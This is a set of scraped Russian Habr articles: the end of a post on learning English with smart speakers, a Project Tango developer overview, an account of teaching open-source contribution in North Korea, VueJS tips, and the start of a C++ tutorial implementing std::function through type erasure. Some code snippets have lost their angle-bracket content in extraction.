Если включенных таймеров несколько, она может предложить назвать как-нибудь новый таймер.
`-Alexa, do I have any timers?
-You have two timers...`
`-Alexa, set an alarm for tomorrow 8 o'clock.`
6. Устанавливать напоминания.
`-Alexa, set a reminder.
...
-What's the reminder for?
...
-When I should remind you?
...
-Ok, I will remind you tomorrow at 10 a.m.`
7. Включать музыку.
`-Alexa, play Rock music from 90s
-Alexa, play Solopiano radio`
8. Рассказывать шутки.
`- Alexa, tell me a joke`
9. Воспроизводить сказки\*
К сожалению, сказки Alexa рассказывает только при наличии платной (дорогой) подписки Audible Premium. Кстати, одни и те же сказки по-разному начитаны (и из разных текстов) в Audible и StoryNory from Google Playbooks.
Личное мнение о колонках
========================
Невозможо удержаться от сравнения, имея две колонки от разных вендоров. Из списка видно, что функциональность колонок примерно одинаковая. Кстати, ацент Алексы можно поменять. Можно выбрать один из нескольких акцентов — американский, английский, австралийский и так далее. Так же Алексу можно попросить говорить помедленнее «Alexa, could you speak slower?» или побыстрее "...faster?". У Google Assistant можно сменить голос, но нельзя попросить говорить медленнее или быстрее.
Для прокачки аудирования мне больше понравилась колонка от Google. Потому что она высылает новости, которые прочитала вслух, на телефон и можно посмотреть те слова, что на слух «распарсить» не удалось. Также подкупает возможность слушать сказки бесплатно. В свою очередь, у Alexa прямо в приложение-компаньон встроен мастер по созданию навыков из заготовок (blueprints). Там их довольно много, но из тех, что мне запомнились, это различные Q&A шаблоны, шаблоны для навыков с памятными датами ('Alexa, how many days left before my vacation?'), шаблоны для навыков с расписаниями ('Alexa, whose turn to walk the dog?').
Почему именно колонки и именно эти действия?
============================================
Всё, что делают колонки, можно делать и на компьютере, да, но голосовой интерфейс и единое окно входа на кучу сервисов даёт значительную экономию времени. Вместо закладок или поисковой строки — голосовой запрос на естественном (с небольшими ограничениями) языке. Колонку можно поставить на кухню или в мастерскую и она будет развлекать вас, пока вы занимаетесь своими делами и не имеете возможность что-то печатать.
Поместил именно новости в начало обоих списков не спроста. Разные дикторы, которые разными словами освещают одни и те же события в мире, прокачивают словарный запас и понимание на слух. Формат новостей даёт возможность «пропускать» часть контента. Если я слушаю аудиокнигу и не понял слово, фразу или предложение, то потеряв часть смысла, количество получаемого удовольствия от процесса резко уменьшается. Потеряв часть смысла в какой-то новостной заметке, мне всё равно. Я либо прочту это в телефоне, либо услышу в пересказе другого диктора через пару минут.
Последнее, что я хотел бы упомянуть, так это технику shadowing, или, говоря старым и немодным языком, обычного повторения за кем-то в режиме «эха». Если я слышу что-то интересное, то повторяю за диктором или за цифровым помощником с задержкой в одну-две секунды. Так, пассивный запас слов и оборотов превращается во вполне активный. Если вы, как и я, не часто общаетесь на английском языке, то эта техника вполне себе сносная замена разговорной практики. Стоит заметить, что если вы слушаете диктора в наушниках, то можно повторять в полный голос. Если же вы слушаете диктора через колонки, то для удобства рекомендую говорить вполголоса, чтобы не «забивать» диктора.
Могу сказать, что за год владения умными колонками мой уровень понимания на слух вырос лучше, чем за предыдущие десять лет изучения английского языка в университете и с репетитором. Не так давно я смог пройти собеседование на английском, хотя еще пару лет назад мне казалось это недостижимым уровнем.
Буду рад, если мой опыт окажется полезным для кого-то еще. | https://habr.com/ru/post/504928/ | null | ru | null |
# Device Lab от Google: Project Tango
В [Лаборатории Google](http://bit.ly/29I0ANa) мы добрались до самого инновационного и многообещающего устройства. Project Tango - платформа компьютерного зрения для мобильных устройств, разработанная группой инженеров ATAP (Advanced Technology and Projects). Работающее на Android референсное устройство вы можете [взять на тест](http://bit.ly/29I0ANa) и использовать данные платформы в своих приложениях. Навигация внутри помещений, построение 3D-карт помещений, измерение расстояний, дополненная реальность – лишь малая часть задач, которые вы можете решить при помощи Project Tango. О том, как разрабатывать приложения для платформы – в нашей статье.
var div=$("#youtubeiframe6705613");
var height=div.width() \* 0.5625;
div.height(height);
div.parent().height(height);
Project Tango это проект ATAP (Advanced Technology and Projects, исследовательское подразделение Google, образованное на основе Motorola Mobility и оставшееся после передачи всей остальной компании как раз в Lenovo), цель которого состоит в том, чтобы дать мобильным устройствам человеческое понимание пространства и движения.
За организацией ATAP в Google стоит легендарная Регина Дуган, глава DARPA, исследовательского отдела Министерства обороны, позже работавшая в Motorola. В Google она стала вице-президентом по инжинирингу, передовым технологиями и проектам. Под ее началом в ATAP, кроме Project Tango, разработали еще и Project Ara, первый модульный смартфон, который сейчас также готовится к выпуску.
В основе технологии – точное соединение данных от всех сенсоров и их быстрая обработка. Данные устройство получает от инфракрасных датчиков, нескольких фотокамер, точных акселерометров, гироскопов и барометров. Все вместе это позволяет создать точную трехмерную картину мира вокруг устройства, обновлять в режиме реального времени, определять положение внутри нее, передавать эти данные всем приложениям, и накладывать слои с информацией поверх. Можно сказать, что в одном смартфоне у вас совмещены сразу два подхода – сканер трехмерного окружающего пространства и пульт управления, отслеживающий движения в нем.
Возможности, которые дает такая платформа, вполне удивительны. Например, вы можете измерять расстояния до удаленных предметов. Или играть в игры с предметами своей обстановки. Делать макеты и планы внутренних помещений со всей обстановкой. Примерять мебель еще до покупки. В дополнение к очкам виртуальной реальности Google Cardboard – моделировать ваш дом для дальнейшего использования в играх или приложениях.
Разработка
Сама большая технология Tango на самом деле подразделяется еще на три (важно понимать, что сами названия, скажем так, немного избыточно описывают технологии):
* Отслеживание движений (Motion Tracking) – это позволяет устройству понимать позицию и ориентацию, движение в трехмерном пространстве (устройство выдает вам координаты и вектор движения);
* Изучение области (Area Learning) - Tango-устройство может использовать визуальные подсказки для распознавания мира вокруг, самостоятельно исправляя ошибки в отслеживании движений и переопределяя себя в тех местах, где оно уже было (устройство распознает место и корректирует движения на основе этого);
* Восприятие глубины (Depth Perception) – сенсоры могут «говорить» вам о формах реального мира вокруг, выстраивая взаимодействие с миром виртуальным (устройство может получить облако точек для текущего места).
Google предлагает для разработчиков несколько вариантов работы. У компании есть Unity SDK, Java Api и С API. Предназначение у каждого свое – Unity SDK больше подходит для 3D-игр или приложений, связанных с визуализацией, JAVA API для тех, кто хочет использовать функциональность Tango в своих уже существующих приложениях для Android, а C API для тех, кто пользуется Android NDK и кто хочет получить доступ к нативным функциям в собственном движке визуализации.
```
//Для размещения приложений в Google Play вам в манифест надо добавить следующее:
//Тогда оно будет устанавливаться только на совместимые устройства.
```
$(document).ready(function(){
hljs.initHighlightingOnLoad();
});
.t264 .hljs {
background-color: ;
}
Вся работа Tango устройства руководствуется позами. По мере того, как устройство движется сквозь трехмерное пространство, оно до 100 раз в секунду высчитывает, где оно находится (позицию) и как оно повернуто (ориентацию). Одна единица таких объединенных данных называется "Позой" (pose). Это ключевая часть работы со всеми тремя концепциями, входящими в технологию – отслеживание движения, изучение области и восприятие глубины.
Вы как разработчики можете запрашивать позы двумя способами – для момента времени (через TangoService\_getPoseAtTime()) или при доступности новых данных (коллбэк onPoseAvailable() для TangoService\_connectOnPoseAvailable().)
В результате вы получаете такие данные:
```
typedef struct TangoPoseData {
int version;
double timestamp; // в миллисекундах
double orientation[4]; // как кватернион, вектора
double translation[3]; // в метрах
TangoPoseStatusType status_code; // статус может измерения быть и некорректным, что надо учесть в своих приложениях
TangoCoordinateFramePair frame;
int confidence; // не используется
float accuracy; // не используется
} TangoPoseData;
```
$(document).ready(function(){
hljs.initHighlightingOnLoad();
});
.t264 .hljs {
background-color: ;
}
Важна также ещё одна вещь в описании платформы – «События» (Events). По сути это уведомление о важных для устройства событиях, таких как, например, слишком яркая или темная картинка, которая не дает возможности системе определить положение. Получать такие события можно через коллбэк TangoEvent для функции TangoService\_connectOnTangoEvent().
ОК, с получением собственных данных более или менее понятно. Но изучение области – немногим более сложная задача. Оно дает устройству возможность «видеть» и запоминать ключевые визуальные элементы физического пространства – грани, углы и прочее – распознавая их в последующем. Для этого устройство создает и хранит математическое описание всех этих визуальных особенностей в своей базе.
Полученные данные можно использовать для улучшения отслеживания движения – улучшая аккуратность («корректировка дрифта») и позиционируя себя в ранее изученных областях («локализация»).
Описания мест хранятся в Area Description File (ADF). Самый простой способ создать ADF – использовать приложение [Tango Explorer](https://developers.google.com/tango/tools/explorer), которое предустановлено на устройстве. Более сложный – Tango API для изучения, сохранения или загрузки данных в ваше приложение. Это может понадобиться вам, например, если вы захотите, чтобы виртуальные объекты появлялись у пользователя в том же месте, в котором он их оставил. Тут вам и понадобится локализация – вы загружаете ADF и перемещаете устройство в новую область. Как только оно «увидит» совпадение области и ADF, оно мгновенно узнает свое местоположение. Без локализации начальная точка будет все время теряться и системе надо будет заново строить модели.
Третья часть работы – чувство глубины. Оно дает приложению возможность измерять расстояние между объектами реального мира, пока устройство лучше всего работает в закрытых помещениях – на расстоянии около 3 метров оно уже практически не применимо из-за проблем с инфракрасным датчиком.
Tango API выдает данные о глубине в виде облака точек. Это набор координат (x, y, z) для такого количества точек в сцене, которое возможно. Само облако регулируется структурой TangoXYZij, а получение - коллбэком onXYZijAvailable() для connectListener().
Уже этой осенью в продажу поступит первый фаблет Lenovo Phab 2 Pro. Большой смартфон, в золотом или сером цвете, это 6.4-дюймовый QHD экран, Snapdragon 652, 4 Гб оперативной памяти, батарея 4,050 мАч, звук Dolby Atmos 5.1. Плюс четыре камеры, включая 16 МП заднюю и 8 МП фронтальную, а также самое главное — 2 специальные Tango-камеры, одна для определения «глубины», а вторая для определения движения.
Первый проект
В качестве первого своего приложения для Tango вы можете использовать наработки из [проекта Солнечной системы](https://play.google.com/store/apps/details?id=tech.solarsimulator), разработанного студентами Университета Сан-Франциско. Он позволяет людям физически видеть нашу систему и совершать виртуальные прогулки по ней.
Проект написан на Unity как на самом быстром средстве разработки 3D-приложений.
Поднимается он всего за несколько простых шагов:
1. Скачайте [Unity SDK](https://unity3d.com/get-unity/download).
2. Создайте новый проект Unity и импортируйте Tango SDK.
3. В качестве примера планеты разместите сферу в центре:
4. Замените Главную камеру на Tango AR Camera и подключите Tango Manager через префабы. Для этого сначала удалите игровой объект Главной Камеры со сцены. Затем перетяните Tango AR Camera и Tango Manager из TangoPrefabs в папку проекта. Иерархия сцены должна выглядеть так:
5. В Tango Manage есть несколько настроек. Вам нужно включить автоматическое подключение к сервису (Tango Manage), отслеживание движений и накладывание видео.
6. Измените настройки сборки так, как написано в [этом руководстве](https://developers.google.com/tango/apis/unity/unity-prefab-motion-tracking#create_a_simple_unity_scene).
И вот ваш первый проект готов. Выглядеть он должен примерно так:
Студенты сделали пивной пинг-понг на Unity в дополненной реальности:
var div=$("#youtubeiframe6705949");
var height=div.width() \* 0.5625;
div.height(height);
div.parent().height(height);
Интересные проекты, реализованные с помощью Project Tango
**Приложение дополненной реальности для шоппинга**
В магазинах Walgreens устройства [будут помогать](http://www.businesswire.com/news/home/20140625005097/en/Indoor-Retail-Mapping-Leader-aisle411-Delivers-In-Store#.U6r5BfldWSo) находить продукты. Понимая свою позицию внутри магазина, приложение сможет точно указывать путь к определенному товару. Кроме того, прямо в дополненной реальности будут показываться выгодные предложения и скидки, мимо которых иначе покупатели просто прошли бы (без преувеличения, они буду и правда "выскакивать с полок").
var div=$("#youtubeiframe6706032");
var height=div.width() \* 0.5625;
div.height(height);
div.parent().height(height);
**Навигация в Национальном музее искусств Каталонии**
Навигация внутри помещений – одно из самых очевидных применений Project Tango. Одним из первых стал [проект навигации](http://gizmodo.com/using-nothing-but-googles-project-tango-tablet-to-escap-1760614682) для Национального музея искусств Каталонии. Этот гигантский музей, построенный в 1929 году, состоит из множества залов и переходов, так что заблудиться в нем не составляет труда. Project Tango может вести вас по музею, а попутно ещё и рассказывать о полотнах, выставленных в нём.
var div=$("#youtubeiframe6706083");
var height=div.width() \* 0.5625;
div.height(height);
div.parent().height(height);
**Измерение расстояний**
Ещё одно понятное [применение для Project Tango](http://smartpicture3d.com/smart-picture-and-google-project-tango/) – измерение расстояний между точками. Если вы можете построить карту точек в трехмерном пространстве, то наверняка можете посчитать и расстояния между ними. Сколько метров в длину ваш стол, какова высота окна, влезет ли в этот проем диван – все это может измерить устройство, просто "посмотрев" на пространство перед собой.
var div=$("#youtubeiframe6706319");
var height=div.width() \* 0.5625;
div.height(height);
div.parent().height(height);
**Построение 3D-карт помещений**
Следующий шаг в технологии после измерения расстояний – построение полноценных 3D-карт. Такое приложение [сделали](https://matterport.com/matterport-and-google-atap-project-tango/) в компании Matterport. И вам не нужны больше специальные 3D-камеры, все делается с помощью Project Tango:
var div=$("#youtubeiframe6706424");
var height=div.width() \* 0.5625;
div.height(height);
div.parent().height(height);
Дополнительные материалы
Как отслеживать движения в Unity:
<https://youtu.be/UMKMuYA_FcM>
Канал с несколькими роликами о разработке приложений на Unity:
<https://www.youtube.com/channel/UCXh6fg2Lq3EC5FqwMzbFqtg/videos>
Project Tango на GitHub:
* [Примеры для Unity](https://github.com/googlesamples/tango-examples-unity)
* [Примеры для Java](https://github.com/googlesamples/tango-examples-java)
* [Примеры для C](https://github.com/googlesamples/tango-examples-c) | https://habr.com/ru/post/304762/ | null | ru | null |
# Как я учил студентов Северной Кореи разрабатывать ПО с открытым исходным кодом
В 2016 году я отправился в Северную Корею, чтобы учить студентов магистратуры тому, как участвовать в разработке [ПО с открытым исходным кодом](https://en.wikipedia.org/wiki/Open_source). Вот фотография с одной из моих лекций:
В рамках курса студенты должны были опубликовать патчи для выбранного ими проекта. В этой статье я расскажу о том, как два патча были внесены в популярные библиотеки машинного обучения [mlpack](https://mlpack.org) и [vowpal wabbit](https://vowpalwabbit.org). Я считаю, что эти примеры подчёркивают, что научное сотрудничество между северокорейцами и американцами может принести выгоду обычным гражданам обеих стран и улучшить дипломатические взаимоотношения.
Патч mlpack
-----------
Один из студентов работал над «системой распознавания транспортных средств на основе зрения» для своей магистерской дипломной работы. В этой задаче у нас есть трансляция с видеокамеры, установленной недалеко от дороги. Цель заключается в подсчёте количества проезжающих легковых и грузовых автомобилей. Это довольно стандартная задача машинного зрения, которую регулярно реализуют студенты всего мира, её выходные данные выглядят примерно так:
(К сожалению, это изображение взято не из проекта студента, а из <https://github.com/ahmetozlu/vehicle_counting_tensorflow>.)
Очевидно, студенту посоветовало заняться этой задачей Министерство транспорта Северной Кореи, потому что в Пхеньяне быстро растёт объём трафика. Люди, посещавшие Пхеньян в 1990-х, часто говорили о малом количестве машин на дорогах, но в наши дни город [изобилует трафиком](https://www.pinterest.com/pin/139893132146429424/). Думаю, [знаменитым пхеньянским девушкам-регулировщицам](https://www.youngpioneertours.com/north-korean-traffic-girls/) пригодилась бы автоматизированная помощь.
Студенты-выпускники в Северной Корее имеют доступ к Интернету без фильтрации, и мой студент воспользовался этим доступом, чтобы скачать библиотеку машинного обучения mlpack для реализации своей системы распознавания транспорта. Он решил использовать mlpack, потому что она написана на C++, а это основной язык, который студенты изучали на старших курсах. Но они столкнулись с очень серьёзной проблемой: их компьютер оказался очень старым и в нём не хватало памяти для компиляции библиотеки!
Потратив около часа на отладку, мы со студентом выявили источник проблемы, ими оказались шаблоны C++, используемые в mlpack. Во всех частях кода mlpack активно используются шаблоны, чтобы обеспечить возможность обобщённого программирования без затраты лишних ресурсов во время выполнения. Благодаря шаблонам mlpack получила репутацию библиотеки, выполняющей модели [очень быстро и почти без использования лишней памяти](https://www.mlpack.org/benchmark.html), однако обратной стороной этого стала медленная и требующая много памяти компиляция. В то время компиляция требовала до 2 ГБ ОЗУ, а на ноутбуке северокорейского студента был установлен только 1 ГБ.
В конечном итоге студенту удалось заставить mlpack скомпилироваться, значительно оптимизировав процедуру компиляции. В оригинальном коде содержались сотни необязательных конструкций `#include`, и для решения проблемы достаточно было просто удалить этот мёртвый код. Сам коммит можно [посмотреть на github](https://github.com/mlpack/mlpack/commit/5bb2f245d7ad5de70384be6b3486690b417d854c). Это исправление повысило скорость компиляции на 25% и более чем в два раза снизило потребление памяти. Десятки тысяч людей и компаний, использовавшие mlpack после этого патча, очень выиграли от того, что северокорейский студент выполнил такую потрясающую работу.
Патч vowpal wabbit
------------------
Многие из студентов моего курса пока не определились с темой своей дипломной, поэтому я порекомендовал одному студенту поработать над анализом настроения постов в Twitter. Допустим, у нас есть такой твит:
[](https://twitter.com/senatormenendez/status/1006551464406323201?lang=ca)
и нам нужно классифицировать твит, как имеющий положительное или отрицательное отношение к его теме. Например, в показанном выше твите есть отрицательное отношение к [саммиту в Сингапуре 2018 года](https://en.wikipedia.org/wiki/2018_North_Korea%E2%80%93United_States_Singapore_Summit) между Дональдом Трампом и Ким Чен Ыном. Проанализировав тысячи (или миллионы/миллиарды) твитов таким образом, мы можем определить, как разные общества относятся к определённой теме. Это тоже совершенно повседневная задача, реализуемая студентами всего мира. Но для северокорейских студентов эта задача стала необычной.
Все студенты слышали о Twitter, но никогда им не пользовались. Несмотря на то, что их компьютеры имели прямой нефильтруемый доступ к Интернету, им было запрещено создавать аккаунты в сервисах соцсетей. Как мне объяснили, причина заключается в том, что США контролируют большинство инфраструктуры Интернета (в том числе такие веб-сайты, как Twitter), и с помощью таких программ, как [PRISM](https://en.wikipedia.org/wiki/PRISM_(surveillance_program)) АНБ и [Cyber Command](https://www.lawfareblog.com/integration-psychological-operations-cyber-operations) Вооружённых сил США шпионит за пользователями и манипулирует соцсетями.
США и Северная Корея так и не подписали мирного соглашения после Корейской войны, поэтому северокорейцев по-прежнему очень беспокоит возможность нападения США. Запрет на создание аккаунтов в соцсетях — это одна из «мер защиты», которых северокорейских студентов должны придерживаться, чтобы снизить влияние потенциальных «американских кибератак». К счастью, изучение Twitter — одна из областей моих исследований, и я привёз с собой довольно объёмные массивы данных, которые могли анализировать студенты.
Как любил напоминать мне один из моих северокорейских коллег, этот проект был примечателен тем, что в нём северокорейский студент впервые анализировал данные Twitter. И анализ данных Twitter вскоре приобретёт геополитическую важность: спустя менее чем год после начала проекта президентом США был избран Дональд Трамп, и Twitter стал одним из основных инструментов, через которые его администрация начала сообщать о своей внешней политике миру. К счастью, к тому времени, как Трамп придал Twitter этот псевдоофициальный статус, хотя бы малая доля северокорейцев уже имела опыт анализа его данных. Они могли использовать этот опыт, чтобы лучше понимать и твиты Трампа, и ответы, отправляемые миллионами американцев. Правительство Северной Кореи сегодня признаёт важность пользования соцсетями для понимания американской политики, поэтому недавно создало [новое Министерство иностранных дел, занимающееся анализом намерений США](https://www.dailynk.com/english/north-korea-forms-new-foreign-ministry-organization-focused-analyzing-us-intentions/) через соцсети и другие источники публичной информации. И для обеих стран это отличная новость! США созданы на основе системы прозрачности, потому что государство хочет, чтобы каждый (в том числе и северокорейцы) понимал, как работает демократия и как нам лучше договариваться, чтобы достигать общих целей.
Это взаимодействие между научным обменом знаниями и дипломатией называется [дипломатией науки](https://www.aaas.org/programs/center-science-diplomacy), оно оказалось [чрезвычайно важным](https://americandiplomacy.web.unc.edu/2019/11/how-u-s-soviet-scientific-and-technical-exchanges-helped-end-the-cold-war/) для успешного обсуждения США и СССР ограничений на системы ядерных вооружений во время холодной войны. Я считаю, что мой труд по преподаванию ПО с открытым исходным кодом в Северной Корее поможет показать, что эта модель дипломатии науки также может быть успешно применена и в переговорах между США и Северной Кореей.
Но вернёмся ко вкладу моего студента в open source. Я порекомендовал, чтобы студент использовал для выполнения анализа [vowpal wabbit](https://vowpalwabbit.org/), так как этот отличный инструмент для анализа объёмных текстовых массивов данных. Студент скачал код, скомпилировал его и проанализировал настроение нескольких тысяч твитов. В этом случае код хорошо работал на компьютере студента без всяких изменений. Однако для прохождения курса ПО с открытыми исходниками ему всё равно нужно было опубликовать патч.
Он нашёл на Github [открытый issue](https://github.com/VowpalWabbit/vowpal_wabbit/issues/919) с просьбой добавить возможность менять способ взаимодействия свободного члена с регуляризацией L2 при обучении линейных моделей, и опубликовал [патч](https://github.com/VowpalWabbit/vowpal_wabbit/pull/1151), добавляющий такое поведение. (Пул-реквесты обоих проектов были отправлены с моего Github-аккаунта, потому что Github считается соцсетью, а северокорейским студентам нельзя создавать аккаунты в соцсетях.) Позже в этом патче обнаружился [баг](https://github.com/VowpalWabbit/vowpal_wabbit/issues/1729), и был добавлен [следующий патч](https://github.com/VowpalWabbit/vowpal_wabbit/pull/1794), устраняющий эту проблему. Именно таким образом и должен работать процесс разработки ПО с открытым исходным кодом, и мне кажется потрясающим, что open source позволяет обычным людям со всего света находить общие цели, создавая отличное ПО, даже несмотря на кажущиеся неразрешимыми политические разногласия.
Будущее open source в Северной Корее
------------------------------------
Если я не ошибаюсь, то отправленные в рамках этого курса патчи стали первым вкладом в open source, сделанным из Северной Кореи; к сожалению, они же стали последними.
На следующий год (2017) я организовал ещё одно путешествие в Северную Корею и должен был привезти с собой ещё несколько преподавателей ПО с открытым исходным кодом, однако президент Трамп [запретил американцам посещать Северную Корею](https://www.bbc.com/news/world-asia-40680500). Поэтому мы с другими преподавателями больше не могли встретиться с северокорейскими студентами, и больше никто не мог учить их делать вклад в open source или мотивировать их к этому.
Президент Байден недавно объявил о своей политике [«практичной дипломатии»](https://www.reuters.com/world/asia-pacific/biden-administration-has-completed-north-korea-policy-review-white-house-2021-04-30/) с Северной Кореей. Однако подробности этой политики пока неизвестны, а запрет на посещение сохраняется. Поэтому американцы не смогут воспользоваться тем, что северокорейцы устраняют баги в их коде, а дипломатию науки, которая, по сути, снизила трения между США и СССР, невозможно использовать как инструмент снижения трений между США и Северной Кореей.
---
#### На правах рекламы
VDSina предлагает [серверы в аренду](https://vdsina.ru/) под любые задачи, огромный выбор операционных систем для автоматической установки, есть возможность установить любую ОС с собственного [ISO](https://vdsina.ru/qa/q/kak-ispolzovat-svoy-obraz-iso-v-vds?partner=habr356), удобная [панель управления](https://habr.com/ru/company/vdsina/blog/460107/) собственной разработки и посуточная оплата.
Подписывайтесь на [наш чат в Telegram](https://t.me/vdsina).
[](https://vdsina.ru/) | https://habr.com/ru/post/565934/ | null | ru | null |
# 10 советов и приемов, которые помогут вам стать лучшим разработчиком на VueJS
Перед вами вольный перевод статьи "[10 Tips & Tricks to make you a better VueJS Developer](https://dev.to/simonholdorf/10-tips-tricks-to-make-you-a-better-vuejs-developer-4n4d)" с сайта Dev.to. Автор расскажет нам об интересных и полезных вариантах применения привычных нам средств VueJS.
### Введение
Мне действительно нравится работать с VueJS и каждый раз, когда я это делаю, я глубже погружаюсь в его возможности и фичи. В этой статье я представляю вам 10 классных советов и приемов, о которых вы возможно не знали и попытаюсь помочь вам стать лучшим разработчиком на VueJS.
### Сделаем красивым синтаксис слотов
С выходом в релиз Vue 2.6 стали доступны сокращения для слотов, что может быть использовано как эвенты (например сокращение [`@click`](https://ru.vuejs.org/v2/guide/syntax.html#%D0%A1%D0%BE%D0%BA%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D0%B5-v-on) для `v-on:click`) или [двоеточие](https://ru.vuejs.org/v2/guide/syntax.html#%D0%A1%D0%BE%D0%BA%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D0%B5-v-bind) для биндинга данных (`:src`). Если у вас есть например табличный компонент, то вы можете использовать следующую [фичу](https://ru.vuejs.org/v2/api/#v-slot):
```
...
/\* some content here. You can freely use 'item' here \*/
...
```
### $on(‘hook:’)
Это крутая фича, которую вы можете использовать, если вам необходимо определить кастомный слушатель событий или сторонний плагин в хуках `created` или `mounted` и необходимо удалить его в хуке `beforeDestroy`, чтобы не допустить утечек памяти. Используя `$on(‘hook:’)` вы можете определить или удалить эвент всего в одном хуке.
```
mounted() {
const aThirdPartyPlugin = aThirdPartyPlugin()
this.$on('hook:beforeDestroy', () => {
aThirdPartyPlugin.destroy()
})
}
```
### Валидация props
Возможно вы уже знаете, что есть возможность валидации ваших пропсов примитивными значениями, например `String`, `Number` или `Object`. Но вы также можете создать кастомный валидатор, например для проверки массива строк:
```
alertType: {
validator: value => ['signup', 'login', 'logout'].includes(value)
}
```
### Динамические аргументы директив
Одной из самых классный фич VueJS 2.6 является возможность динамического определения аргументов директив компонентов. Представим, что у вас есть компонент кнопка и вы хотите слушать событие `Click` при определенных условиях, а событие `DoubleClick` во всех остальных случаях. Вот случай, где такая директива может пригодиться:
```
...
...
...
data(){
return{
...
someEvent: someCondition ? "click" : "dblclick"
}
},
methods:{
handleSomeEvent(){
// handle some event
}
}
...
```
И что действительно здорово --> это то что вы можете применять этот шаблон к динамическим HTML атрибутам, пропсам и многому другому!
### Переиспользование компонентов для схожих маршрутов
Иногда у вас есть разные маршруты, которые используют некоторый набор компонентов. Если вы переключаетесь между такими маршрутами, то по умолчанию общий компонент не будет перерисован, потому что Vue переиспользует этот компонент для лучшей производительности. Но если вы хотите перерисовывать эти компоненты, то можете определить свойство `:key` в `Router-View-Component`:
```
```
### Передача всех пропсов из компонента родителя к дочернему
Это действительно крутая фича для передачи вниз всех пропсов из родительского компонента к дочернему. Такой способ удобен, если вы например используете компонент обертку. Таким образом вместо последовательной передачи всех свойств, вам достаточно передать их все одновременно:
```
```
Вместо этого:
```
```
### Передача всех слушателей событий из компонента родителя к дочернему
Если у вас есть дочерний компонент, который не является рутовым для компонента родителя, вы можете передать вниз все слушатели событий от родителя к потомку вот так:
```
...
...
```
Если дочерний компонент находится в корне родительского, то такой трюк вам не понадобится и все события будут доступны по умолчанию.
### $createElement
Каждый экземпляр Vue по умолчанию имеет доступ к методу [`$createElement`](https://ru.vuejs.org/v2/guide/render-function.html#%D0%90%D1%80%D0%B3%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B-createElement), который создает и возвращает виртуальные узлы. Это может быть использовано например для использования разметки в методах, которые могут быть переданы в директиву [`v-html`](https://ru.vuejs.org/v2/api/#v-html). В функциональных компонентах этот метод доступен, как первый аргумент функции `render`.
### Использование JSX
Начиная с `Vue CLI 3` по умолчанию появилась [поддержка JSX](https://ru.vuejs.org/v2/guide/render-function.html). Теперь вы можете писать свой код с использованием JSX (например если вам так привычнее после реакта), также это может быть удобнее например для написания функциональных компонентов. Если вы еще не используете `Vue CLI 3`, то вы можете использовать `babel-plugin-transform-vue-jsx` для поддержки JSX в вашем проекте.
### Кастомный v-model
По умолчанию `v-model` это то, что мы называем синтаксическим сахаром над событиями `@input` и `:value`. [Но вы можете](https://ru.vuejs.org/v2/guide/components-custom-events.html#%D0%9D%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0-v-model-%D1%83-%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82%D0%B0) указать свойство `model` в вашем Vue компоненте и определить, какой эвент и пропс будет использован:
```
export default: {
model: {
event: 'change',
prop: 'checked'
}
}
```
### Заключение
Я надеюсь, что смог дать вам несколько советов, которые помогут вам стать лучшим VueJS разработчиком. | https://habr.com/ru/post/471212/ | null | ru | null |
# Пишем свой std::function (boost::function)
Классы std::function и boost::function являются высокоуровневыми обертками над функциями и функциональными объектами. Объекты таких классов позволяют хранить и вызывать функции и функторы с заданной сигнатурой, что бывает удобно, например, при создании callback вызовов (например, мы можем регистрировать несколько обработчиков, и это могут быть как обычные функции, так и объекты с определенным оператором =)
Если вам интересно, каким образом реализуется данный функционал, то прошу под кат
#### Краткое введение, примеры использования
Если вы не знакомы с boost::function и std::function, то можно ознакомиться с ними [здесь](http://www.boost.org/doc/libs/1_52_0/doc/html/function.html) и [здесь](http://ru.cppreference.com/w/cpp/utility/functional/function)
std::function входит в стандарт языка c++11, и компиляторы gcc-4.7 и msvc-2012 его поддерживают (возможно, более ранние версии тоже имеют поддержку). В принципе, в рамках этой статьи можно считать реализацию от boost и стандартную полностью идентичными, так что пользоваться можно любой из реализаций
Собственно пример использования:
```
int func1() {
return 0;
}
struct callable {
int operator() () {
return 1;
}
};
///...
boost::function x;
x = func1;
int res = x(); // вернет 0 в качестве результата
callable c;
x = c;
res = x(); // вернет 1 в качестве результата
```
#### Переходим к самой реализации
Саму реализацию будем делать в несколько этапов:
* Самый простой use-case — инициализировать наш объект указателем на функцию или объектом-функцией и вызвать оператор ()
* Поддержка операторов присваивания и копирующего конструктора
* Поддержка указателей на функции-члены
##### Самая простая реализация, понятие Type erasure
В основе реализации данного класса лежит паттерн [Type Erasure](http://www.cplusplus.com/forum/articles/18756/), более доступно можно почитать [здесь](http://prograholic.blogspot.ru/2011/11/type-erasure.html) Его предназначение заключается в том, что мы можем «спрятать» за одним интерфейсом различные сущности (объекты, указатели и пр.), которые предоставляют сходные возможности (например, осуществить вызов функции с тремя аргументами). Type erasure также можно представить как мостик, который связывает полиморфизм времени исполнения (runtime polymorfism) и полиморфизм времени компиляции (compile-time polymorfism).
Итак, переходим к реализации.
Мы будем использовать variadic templates из стандарта C++11. Например, gcc поддерживает этот функционал аж с версии [4.3](http://gcc.gnu.org/gcc-4.3/cxx0x_status.html), поэтому можно смело им пользоваться.
Не будем оригинальны и назовем наш класс function. Очевидно, что класс будет шаблонный, также очевидно, что у него будет один параметр шаблона — сигнатура (тип) вызываемой функции. Общая реализация шаблона отсутствует, вся работа будет происходить в частичной специализации шаблона. Частичная специализация нужна для того чтобы мы могли использовать типы аргументов и возвращаемого значения из нашей сигнатуры.
Сама реализация:
```
template
class function;
template
class function {
public:
function() : mInvoker() {}
template
function(FunctionT f) : mInvoker(new free\_function\_holder(f)) {}
ReturnType operator ()(ArgumentTypes ... args) {
return mInvoker->invoke(args ...);
}
private:
class function\_holder\_base {
public:
function\_holder\_base() {}
virtual ~function\_holder\_base() {}
virtual ReturnType invoke(ArgumentTypes ... args) = 0;
};
typedef std::auto\_ptr invoker\_t;
template
class free\_function\_holder : public function\_holder\_base {
public:
free\_function\_holder(FunctionT func) : function\_holder\_base(), mFunction(func) {}
virtual ReturnType invoke(ArgumentTypes ... args) {
return mFunction(args ...);
}
private:
FunctionT mFunction;
};
invoker\_t mInvoker;
};
```
